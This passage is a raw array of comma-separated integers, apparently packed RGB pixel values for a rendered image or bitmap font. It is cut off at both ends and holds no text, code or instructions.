9306,26294,14408667,16777215,16777215,14389306,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,6731519,16777215,11953664,0,102,11993087,16777142,6684672,26294,16777215,16777142,6684672,0,0,0,0,14906,0,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16758374,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16758374,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16758374,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,26294,16777215,16777215,14399078,3815994,3815994,6721755,14408667,14417919,16777142,6684672,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777142,6684672,0,3838171,16777179,14408703,16777215,16758374,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,102,11993087,16777179,9452032,0,0,58,9493503,16777215,11953664,0,0,26294,16777215,16777179,9452032,0,0,0,14992,14417919,16777179,9452032,0,102,11993087,16777179,9452032,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16758374,0,0,6731519,16777179,9452032,0,0,0,0,0,0,0,6731483,16777215,16777215,16777215,16767926,6684672,0,0,0,58,6721755,16777215,16777179,11953722,3827344,11974326,11964518,3815936,0,0,26294,14417919,16777215,16777215,16777215,16777142,6684672,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,14992,14417919,16777215,14389306,14992,14417919,16777179,9452032,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,0,0,3816038,11983871,16777215,16777142,6684672,0,0,6731519,16777215,16758374,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,6731519,16777215,16767888,3801088,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,14992,14417919,16777215,14389350,3801088,0,3827344,14417919,16777215,14389306,0,0,0,6731483,16777215,16777215,16777215,16777215,16767888,3827382,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16767926,9463354,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827344,11983871,16777215,16777215,16777215,11953664,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,58,9493503,16767888,3801190,11993087,16767888,3801088,0,58,9493503,16777142,6684672,0,0,6731519,16777215,11953664,0,0,102,11993087,16777142,6684672,0,0,26294,16777215,16767888,3801088,0,0,58,6721755,16777215,16767888,3801088,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,3838171,16777215,16758374,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,58,9493503,16777215,16777215,16777215,16777179,9452032,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16777179,9452032,102,11993087,16777142,6684672,0,3838171,16777215,16758374,0,26294,16777215,11953664,26294,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777179,11953664,0,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16767926,6699520,0,0,0,0,0,0,0,3827344,11983871,16777215,16777215,16767926,6684672,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,58,9493503,16777179,9452032,3838171,16767888,6721755,16767888,3801146,9493503,16777179,9452032,0,0,0,0,3838171,16777215,16777215,16758374,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,6721718,11974326,11974326,11964598,14417919,16777142,6684672,0,0,26294,16777215,16767888,3801088,0,0,0,58,9493503,16777215,11953664,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,6731519,16777215,11953664,0,0,0,0,14992,14417919,16767888,3801088,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,58,3827382,14417919,16777215,16758374,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777215,11953664,58,9493503,16777142,6684672,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777142,6684672,0,0,0,58,9493503,16777215,11953664,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16767926,11964518,6699520,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,58,9493503,16777179,9452032,3838171,16758374,3838171,16758374,102,11993087,16777142,6684672,0,0,0,58,9493503,16777215,16777215,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,3838171,16777215,16777179,11974288,9463354,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,14950,9483958,11983871,16777215,16767888,3801088,0,102,11993087,16777179,9452032,0,58,3827382,14417919,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815936,0,0,0,0,0,0,3838171,16777215,16758374,0,58,9493503,14389306,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,14992,14417919,16777179,9452032,0,0,0,6731519,16777215,14389306,0,0,26294,14408667,14408667,16777215,16777215,16777215,16777215,16767963,14408667,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777142,6684774,11993087,16777142,6684672,0,0,0,0,6731519,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777142,6699520,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777142,6684672,3838171,16777215,16777215,16777215,16777215,14399078,0,6731519,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,6731519,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16758374,0,58,9493503,16777215,16758374,0,0,0,3827382,14417919,16777179,11964474,0,0,3827302,6699578,0,0,0,0,3827382,14417919,16777179,14389392,6721718,11974326,11964560,6699520,0,0,0,0,3827382,14417919,16777215,14389350,3801088,0,3827302,6699578,0,0,0,0,0,0,58,3815994,3801088,0,0,0,0,0,0,6731519,16777215,11953664,0,0,102,11993087,16777142,6684672,0,0,0,6731519,16777215,11953664,0,0,102,11993087,16777142,6684672,0,0,0,6731519,16777215,11953664,0,0,102,11993087,16777142,6684672,0,0,0,6731519,16777215,11953664,0,0,102,11993087,16777142,6684672,0,0,0,6731519,16777215,11953664,0,0,102,11993087,16777142,6684672,0,0,0,6731519,16777215,11953664,0,0,102,11993087,16777142,6684672,0,0,58,9493503,16777179,9452032,102,11993087,16777142,6684672,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777215,16758374,0,0,3838171,16777215,16758374,0,3838171,16777215,16758374,0,26294,16777215,11953664,26294,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,14992,14417919,16777142,6684672,3838171,16777215,11953664,0,0,6731519,16777215,14389306,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,58,9493503,16777215,14389306,26294,16777215,16777215,16777215,14389306,0,102,11993087,16777215,16758374,0,0,0,0,0,3816038,6721718,11974326,11974326,11964598,14417919,16777142,6684672,0,0,0,0,3816038,6721718,11974326,11974326,11964598,14417919,16777142,6684672,0,0,0,0,3816038,6721718,11974326,11974326,11964598,14417919,16777142,6684672,0,0,0,0,3816038,6721718,11974326,11974326,11964598,14417919,16777142,6684672,0,0,0,0,3816038,6721718,11974326,11974326,11964598,14417919,16777142,6684672,0,0,0,0,3816038,6721718,11974326,11974326,11964598,14417919,16777142,6684672,0,0,0,3827344,9483958,11974326,11983871,16777179,9452032,0,102,11993087,16777142,6684672,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,14992,14417919,16767888,3801088,0,6731519,16777215,11953664,0,0,0,0,14992,14417919,16767888,3801088,0,6731519,16777215,11953664,0,0,0,0,14992,14417919,16767888,3801088,0,6731519,16777215,11953664,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,6731519,16777215,16758374,0,0,0,0,3838171,16777215,16777142,6684672,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,3838171,16777215,16758374,0,102,11993087,14389306,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,0,6731519,16777215,14389306,0,0,14992,14417919,16777142,6684672,0,0,26294,16777215,16777142,6684672,0,0,0,58,9493503,16777215,11953664,0,0,6731519,16777215,14389306,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,3838171,16777142,9463440,14417919,16777215,14389306,0,0,14950,11983871,16777215,16767888,6699578,6731519,16777215,16777215,16777215,16777179,9452032,102,11993087,16777215,14389306,14950,11993087,16777215,16767888,3801190,11993087,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,3838171,16777215,16767888,9484031,16777215,16767888,3801088,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,14389306,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,14389306,0,58,9493503,16777215,14389306,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,6731519,16777215,14389306,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,6731519,16777215,14389306,0,0,0,0,26294,16777215,16777